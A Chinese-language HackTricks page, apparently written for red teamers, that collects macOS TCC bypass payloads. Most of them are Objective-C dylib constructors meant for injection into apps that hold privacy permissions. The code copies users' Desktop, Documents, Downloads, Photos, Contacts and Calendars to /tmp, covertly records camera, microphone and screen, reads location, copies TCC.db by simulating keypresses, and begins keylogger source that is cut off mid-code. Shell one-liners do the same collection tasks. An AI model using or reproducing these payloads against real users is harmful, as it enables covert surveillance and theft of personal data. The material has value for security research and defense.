# macOS TCC 负载
从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家) 支持 HackTricks 的其他方式: * 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) * **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注**我们。 * 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
### 桌面 * **授权**: 无 * **TCC**: kTCCServiceSystemPolicyDesktopFolder {% tabs %} {% tab title="ObjectiveC" %} 将 `$HOME/Desktop` 复制到 `/tmp/desktop`。 ```objectivec #include #include #include #include #import // gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m __attribute__((constructor)) void myconstructor(int argc, const char **argv) { freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt NSFileManager *fileManager = [NSFileManager defaultManager]; NSError *error = nil; // Get the path to the user's Pictures folder NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Desktop"]; NSString *tmpPhotosPath = @"/tmp/desktop"; // Copy the contents recursively if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) { NSLog(@"Error copying items: %@", error); } NSLog(@"Copy completed successfully.", error); fclose(stderr); // Close the file stream } ``` {% endtab %} {% tab title="Shell" %} 将`$HOME/Desktop`复制到`/tmp/desktop`。 ```bash cp -r "$HOME/Desktop" "/tmp/desktop" ``` {% endtab %} {% endtabs %} ### 文档 * **权限**: 无 * **TCC**: `kTCCServiceSystemPolicyDocumentsFolder` {% tabs %} {% tab title="ObjetiveC" %} 将`$HOME/Documents`复制到`/tmp/documents`。 ```objectivec #include #include #include #include #import // gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m __attribute__((constructor)) void myconstructor(int argc, const char **argv) { freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt NSFileManager *fileManager = [NSFileManager defaultManager]; NSError *error = nil; // Get the path to the user's Pictures folder NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Documents"]; NSString *tmpPhotosPath = @"/tmp/documents"; // Copy the contents recursively if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) { NSLog(@"Error copying items: %@", error); } NSLog(@"Copy completed successfully.", error); fclose(stderr); // Close the file stream } ``` {% endtab %} {% tab title="Shell" %} 将`$HOME/`Documents复制到`/tmp/documents`。 ```bash cp -r "$HOME/Documents" "/tmp/documents" ``` {% endtab %} {% endtabs %} ### 下载 * **权限**: 无 * **TCC**: `kTCCServiceSystemPolicyDownloadsFolder` {% tabs %} {% tab title="ObjetiveC" %} 将`$HOME/Downloads`复制到`/tmp/downloads`。 ```objectivec #include #include #include #include #import // gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m __attribute__((constructor)) void myconstructor(int argc, const char **argv) { freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt NSFileManager *fileManager = [NSFileManager defaultManager]; NSError *error = nil; // Get the path to the user's Pictures folder NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Downloads"]; NSString *tmpPhotosPath = @"/tmp/downloads"; // Copy the contents recursively if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) { NSLog(@"Error copying items: %@", error); } NSLog(@"Copy completed successfully.", error); fclose(stderr); // Close the file stream } ``` {% endtab %} {% tab title="Shell" %} 将`$HOME/Dowloads`复制到`/tmp/downloads`。 ```bash cp -r "$HOME/Downloads" "/tmp/downloads" ``` {% endtab %} {% endtabs %} ### 照片库 * **权限**: `com.apple.security.personal-information.photos-library` * **TCC**: `kTCCServicePhotos` {% tabs %} {% tab title="ObjetiveC" %} 将`$HOME/Pictures/Photos Library.photoslibrary`复制到`/tmp/photos`。 ```objectivec #include #include #include #include #import // gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m __attribute__((constructor)) void myconstructor(int argc, const char **argv) { freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt NSFileManager *fileManager = [NSFileManager defaultManager]; NSError *error = nil; // Get the path to the user's Pictures folder NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Pictures/Photos Library.photoslibrary"]; NSString *tmpPhotosPath = @"/tmp/photos"; // Copy the contents recursively if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) { NSLog(@"Error copying items: %@", error); } NSLog(@"Copy completed successfully.", error); fclose(stderr); // Close the file stream } ``` {% endtab %} {% tab title="Shell" %} 将`$HOME/Pictures/Photos Library.photoslibrary`复制到`/tmp/photos`。 ```bash cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos" ``` {% endtab %} {% endtabs %} ### 联系人 * **权限**: `com.apple.security.personal-information.addressbook` * **TCC**: `kTCCServiceAddressBook` {% tabs %} {% tab title="ObjetiveC" %} 将`$HOME/Library/Application Support/AddressBook`复制到`/tmp/contacts`。 ```objectivec #include #include #include #include #import // gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m __attribute__((constructor)) void myconstructor(int argc, const char **argv) { freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt NSFileManager *fileManager = [NSFileManager defaultManager]; NSError *error = nil; // Get the path to the user's Pictures folder NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Application Support/AddressBook"]; NSString *tmpPhotosPath = @"/tmp/contacts"; // Copy the contents recursively if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) { NSLog(@"Error copying items: %@", error); } NSLog(@"Copy completed successfully.", error); fclose(stderr); // Close the file stream } ``` {% endtab %} {% tab title="Shell" %} 将`$HOME/Library/Application Support/AddressBook`复制到`/tmp/contacts`。 ```bash cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts" ``` {% endtab %} {% endtabs %} ### 日历 * **权限**: `com.apple.security.personal-information.calendars` * **TCC**: `kTCCServiceCalendar` {% tabs %} {% tab title="ObjectiveC" %} 将`$HOME/Library/Calendars`复制到`/tmp/calendars`。 ```objectivec #include #include #include #include #import // gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m __attribute__((constructor)) void myconstructor(int argc, const char **argv) { freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt NSFileManager *fileManager = [NSFileManager defaultManager]; NSError *error = nil; // Get the path to the user's Pictures folder NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Calendars/"]; NSString *tmpPhotosPath = @"/tmp/calendars"; // Copy the contents recursively if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) { NSLog(@"Error copying items: %@", error); } NSLog(@"Copy completed successfully.", error); fclose(stderr); // Close the file stream } ``` {% endtab %} {% tab title="Shell" %} 将`$HOME/Library/Calendars`复制到`/tmp/calendars`。 ```bash cp -r "$HOME/Library/Calendars" "/tmp/calendars" ``` {% endtab %} {% endtabs %} ### 摄像头 * **权限**: `com.apple.security.device.camera` * **TCC**: `kTCCServiceCamera` {% tabs %} {% tab title="ObjectiveC - Record" %} 录制一个3秒的视频并保存在 **`/tmp/recording.mov`** 中 ```objectivec #import #import // gcc -framework Foundation -framework AVFoundation -dynamiclib CamTest.m -o CamTest.dylib // Code from: https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4 @interface VideoRecorder : NSObject @property (strong, nonatomic) AVCaptureSession *captureSession; @property (strong, nonatomic) AVCaptureDeviceInput *videoDeviceInput; @property (strong, nonatomic) AVCaptureMovieFileOutput *movieFileOutput; - (void)startRecording; - (void)stopRecording; @end @implementation VideoRecorder - (instancetype)init { self = [super init]; if (self) { [self setupCaptureSession]; } return self; } - (void)setupCaptureSession { self.captureSession = [[AVCaptureSession alloc] init]; self.captureSession.sessionPreset = AVCaptureSessionPresetHigh; AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo]; NSError *error; self.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:videoDevice error:&error]; if (error) { NSLog(@"Error setting up video device input: %@", [error localizedDescription]); return; } if ([self.captureSession canAddInput:self.videoDeviceInput]) { [self.captureSession addInput:self.videoDeviceInput]; } self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init]; if ([self.captureSession canAddOutput:self.movieFileOutput]) { [self.captureSession addOutput:self.movieFileOutput]; } } - (void)startRecording { [self.captureSession startRunning]; NSString *outputFilePath = @"/tmp/recording.mov"; NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath]; [self.movieFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self]; NSLog(@"Recording started"); } - (void)stopRecording { [self.movieFileOutput stopRecording]; [self.captureSession stopRunning]; NSLog(@"Recording stopped"); } #pragma mark - AVCaptureFileOutputRecordingDelegate - (void)captureOutput:(AVCaptureFileOutput *)captureOutput didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL fromConnections:(NSArray *)connections error:(NSError *)error { if (error) { NSLog(@"Recording failed: %@", [error localizedDescription]); } else { NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path); } } @end __attribute__((constructor)) static void myconstructor(int argc, const char **argv) { freopen("/tmp/logs.txt", "a", stderr); VideoRecorder *videoRecorder = [[VideoRecorder alloc] init]; [videoRecorder startRecording]; [NSThread sleepForTimeInterval:3.0]; [videoRecorder stopRecording]; [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:3.0]]; fclose(stderr); // Close the file stream } ``` {% endtab %} {% tab title="ObjectiveC - 检查" %} 检查程序是否具有访问摄像头的权限。 {% endtab %} ```objectivec #import #import // gcc -framework Foundation -framework AVFoundation -dynamiclib CamTest.m -o CamTest.dylib // Code from https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4 @interface CameraAccessChecker : NSObject + (BOOL)hasCameraAccess; @end @implementation CameraAccessChecker + (BOOL)hasCameraAccess { AVAuthorizationStatus status = [AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeVideo]; if (status == AVAuthorizationStatusAuthorized) { NSLog(@"[+] Access to camera granted."); return YES; } else { NSLog(@"[-] Access to camera denied."); return NO; } } @end __attribute__((constructor)) static void telegram(int argc, const char **argv) { freopen("/tmp/logs.txt", "a", stderr); [CameraAccessChecker hasCameraAccess]; fclose(stderr); // Close the file stream } ``` {% endtab %} {% tab title="Shell" %} 使用相机拍照 ```bash ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg ``` {% endtab %} {% endtabs %} ### 麦克风 * **权限**: **com.apple.security.device.audio-input** * **TCC**: `kTCCServiceMicrophone` {% tabs %} {% tab title="ObjetiveC - Record" %} 录制5秒音频并将其存储在 `/tmp/recording.m4a` 中 ```objectivec #import #import // Code from https://www.vicarius.io/vsociety/posts/cve-2023-26818-exploit-macos-tcc-bypass-w-telegram-part-1-2 // gcc -dynamiclib -framework Foundation -framework AVFoundation Micexploit.m -o Micexploit.dylib @interface AudioRecorder : NSObject @property (strong, nonatomic) AVCaptureSession *captureSession; @property (strong, nonatomic) AVCaptureDeviceInput *audioDeviceInput; @property (strong, nonatomic) AVCaptureMovieFileOutput *audioFileOutput; - (void)startRecording; - (void)stopRecording; @end @implementation AudioRecorder - (instancetype)init { self = [super init]; if (self) { [self setupCaptureSession]; } return self; } - (void)setupCaptureSession { self.captureSession = [[AVCaptureSession alloc] init]; self.captureSession.sessionPreset = AVCaptureSessionPresetHigh; AVCaptureDevice *audioDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio]; NSError *error; self.audioDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:audioDevice error:&error]; if (error) { NSLog(@"Error setting up audio device input: %@", [error localizedDescription]); return; } if ([self.captureSession canAddInput:self.audioDeviceInput]) { [self.captureSession addInput:self.audioDeviceInput]; } self.audioFileOutput = [[AVCaptureMovieFileOutput alloc] init]; if ([self.captureSession canAddOutput:self.audioFileOutput]) { [self.captureSession addOutput:self.audioFileOutput]; } } - (void)startRecording { [self.captureSession startRunning]; NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@"recording.m4a"]; NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath]; [self.audioFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self]; NSLog(@"Recording started"); } - (void)stopRecording { [self.audioFileOutput stopRecording]; [self.captureSession stopRunning]; NSLog(@"Recording stopped"); } #pragma mark - AVCaptureFileOutputRecordingDelegate - (void)captureOutput:(AVCaptureFileOutput *)captureOutput didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL fromConnections:(NSArray *)connections error:(NSError *)error { if (error) { NSLog(@"Recording failed: %@", [error localizedDescription]); } else { NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path); } NSLog(@"Saved to %@", outputFileURL.path); } @end __attribute__((constructor)) static void myconstructor(int argc, const char **argv) { freopen("/tmp/logs.txt", "a", stderr); AudioRecorder *audioRecorder = [[AudioRecorder alloc] init]; [audioRecorder startRecording]; [NSThread sleepForTimeInterval:5.0]; [audioRecorder stopRecording]; [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]]; fclose(stderr); // Close the file stream } ``` {% endtab %} {% tab title="ObjectiveC - 检查" %} 检查应用程序是否具有对麦克风的访问权限。 {% endtab %} ```objectivec #import #import // From https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4 // gcc -framework Foundation -framework AVFoundation -dynamiclib MicTest.m -o MicTest.dylib @interface MicrophoneAccessChecker : NSObject + (BOOL)hasMicrophoneAccess; @end @implementation MicrophoneAccessChecker + (BOOL)hasMicrophoneAccess { AVAuthorizationStatus status = [AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeAudio]; if (status == AVAuthorizationStatusAuthorized) { NSLog(@"[+] Access to microphone granted."); return YES; } else { NSLog(@"[-] Access to microphone denied."); return NO; } } @end __attribute__((constructor)) static void telegram(int argc, const char **argv) { [MicrophoneAccessChecker hasMicrophoneAccess]; } ``` {% endtab %} {% tab title="Shell" %} 录制一段5秒的音频并将其存储在 `/tmp/recording.wav` 中。 ```bash # Check the microphones ffmpeg -f avfoundation -list_devices true -i "" # Use microphone from index 1 from the previous list to record ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav ``` ### 位置 {% hint style="success" %} 要获取位置信息,必须启用**位置服务**(来自隐私与安全),否则应用程序将无法访问位置信息。 {% endhint %} * **授权**: `com.apple.security.personal-information.location` * **TCC**: 已授予在 `/var/db/locationd/clients.plist` 中 {% tabs %} {% tab title="ObjectiveC" %} 将位置信息写入 `/tmp/logs.txt` ```objectivec #include #include #import #import @interface LocationManagerDelegate : NSObject @end @implementation LocationManagerDelegate - (void)locationManager:(CLLocationManager *)manager didUpdateLocations:(NSArray *)locations { CLLocation *location = [locations lastObject]; NSLog(@"Current location: %@", location); exit(0); // Exit the program after receiving the first location update } - (void)locationManager:(CLLocationManager *)manager didFailWithError:(NSError *)error { NSLog(@"Error getting location: %@", error); exit(1); // Exit the program on error } @end __attribute__((constructor)) void myconstructor(int argc, const char **argv) { freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt NSLog(@"Getting location"); CLLocationManager *locationManager = [[CLLocationManager alloc] init]; LocationManagerDelegate *delegate = [[LocationManagerDelegate alloc] init]; locationManager.delegate = delegate; [locationManager requestWhenInUseAuthorization]; // or use requestAlwaysAuthorization [locationManager startUpdatingLocation]; NSRunLoop *runLoop = [NSRunLoop currentRunLoop]; while (true) { [runLoop runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]]; } NSLog(@"Location completed successfully."); freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt } ``` {% endtab %} {% tab title="Shell" %} 获取访问位置权限 ``` ??? ``` {% endtab %} {% endtabs %} ### 屏幕录制 * **权限**: 无 * **TCC**: `kTCCServiceScreenCapture` {% tabs %} {% tab title="ObjectiveC" %} 在 `/tmp/screen.mov` 中录制主屏幕 5 秒。 ```objectivec #import #import // clang -framework Foundation -framework AVFoundation -framework CoreVideo -framework CoreMedia -framework CoreGraphics -o ScreenCapture ScreenCapture.m @interface MyRecordingDelegate : NSObject @end @implementation MyRecordingDelegate - (void)captureOutput:(AVCaptureFileOutput *)output didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL fromConnections:(NSArray *)connections error:(NSError *)error { if (error) { NSLog(@"Recording error: %@", error); } else { NSLog(@"Recording finished successfully."); } exit(0); } @end __attribute__((constructor)) void myconstructor(int argc, const char **argv) freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt AVCaptureSession *captureSession = [[AVCaptureSession alloc] init]; AVCaptureScreenInput *screenInput = [[AVCaptureScreenInput alloc] initWithDisplayID:CGMainDisplayID()]; if ([captureSession canAddInput:screenInput]) { [captureSession addInput:screenInput]; } AVCaptureMovieFileOutput *fileOutput = [[AVCaptureMovieFileOutput alloc] init]; if ([captureSession canAddOutput:fileOutput]) { [captureSession addOutput:fileOutput]; } [captureSession startRunning]; MyRecordingDelegate *delegate = [[MyRecordingDelegate alloc] init]; [fileOutput startRecordingToOutputFileURL:[NSURL fileURLWithPath:@"/tmp/screen.mov"] recordingDelegate:delegate]; // Run the loop for 5 seconds to capture dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(5 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{ [fileOutput stopRecording]; }); CFRunLoopRun(); freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt } ``` {% endtab %} {% tab title="Shell" %} 记录主屏幕5秒钟 ```bash screencapture -V 5 /tmp/screen.mov ``` ### 辅助功能 - **权限**: 无 - **TCC**: `kTCCServiceAccessibility` 使用 TCC 权限来接受通过按下回车键控制 Finder 并绕过 TCC 的方式 ```objectivec #import #import #import // clang -framework Foundation -framework ApplicationServices -framework OSAKit -o ParallelScript ParallelScript.m // TODO: Improve to monitor the foreground app and press enter when TCC appears void SimulateKeyPress(CGKeyCode keyCode) { CGEventRef keyDownEvent = CGEventCreateKeyboardEvent(NULL, keyCode, true); CGEventRef keyUpEvent = CGEventCreateKeyboardEvent(NULL, keyCode, false); CGEventPost(kCGHIDEventTap, keyDownEvent); CGEventPost(kCGHIDEventTap, keyUpEvent); if (keyDownEvent) CFRelease(keyDownEvent); if (keyUpEvent) CFRelease(keyUpEvent); } void RunAppleScript() { NSLog(@"Starting AppleScript"); NSString *scriptSource = @"tell application \"Finder\"\n" "set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias\n" "set targetFolder to POSIX file \"/tmp\" as alias\n" "duplicate file sourceFile to targetFolder with replacing\n" "end tell\n"; NSDictionary *errorDict = nil; NSAppleScript *appleScript = [[NSAppleScript alloc] initWithSource:scriptSource]; [appleScript executeAndReturnError:&errorDict]; if (errorDict) { NSLog(@"AppleScript Error: %@", errorDict); } } int main() { @autoreleasepool { dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{ RunAppleScript(); }); // Simulate pressing the Enter key every 0.1 seconds NSLog(@"Starting key presses"); for (int i = 0; i < 10; ++i) { SimulateKeyPress((CGKeyCode)36); // Key code for Enter usleep(100000); // 0.1 seconds } } return 0; } ``` {% endtab %} {% tab title="键盘记录器" %} 将按键存储在 **`/tmp/keystrokes.txt`** 文件中 {% endtab %} ```objectivec #import #import #import // clang -framework Foundation -framework ApplicationServices -framework Carbon -o KeyboardMonitor KeyboardMonitor.m NSString *const kKeystrokesLogPath = @"/tmp/keystrokes.txt"; void AppendStringToFile(NSString *str, NSString *filePath) { NSFileHandle *fileHandle = [NSFileHandle fileHandleForWritingAtPath:filePath]; if (fileHandle) { [fileHandle seekToEndOfFile]; [fileHandle writeData:[str dataUsingEncoding:NSUTF8StringEncoding]]; [fileHandle closeFile]; } else { // If the file does not exist, create it [str writeToFile:filePath atomically:YES encoding:NSUTF8StringEncoding error:nil]; } } CGEventRef KeyboardEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) { if (type == kCGEventKeyDown) { CGKeyCode keyCode = (CGKeyCode)CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode); NSString *keyString = nil; // First, handle special non-printable keys switch (keyCode) { case kVK_Return: keyString = @""; break; case kVK_Tab: keyString = @""; break; case kVK_Space: keyString = @""; break; case kVK_Delete: keyString = @""; break; case kVK_Escape: keyString = @""; break; case kVK_Command: keyString = @""; break; case kVK_Shift: keyString = @""; break; case kVK_CapsLock: keyString = @""; break; case kVK_Option: keyString = @"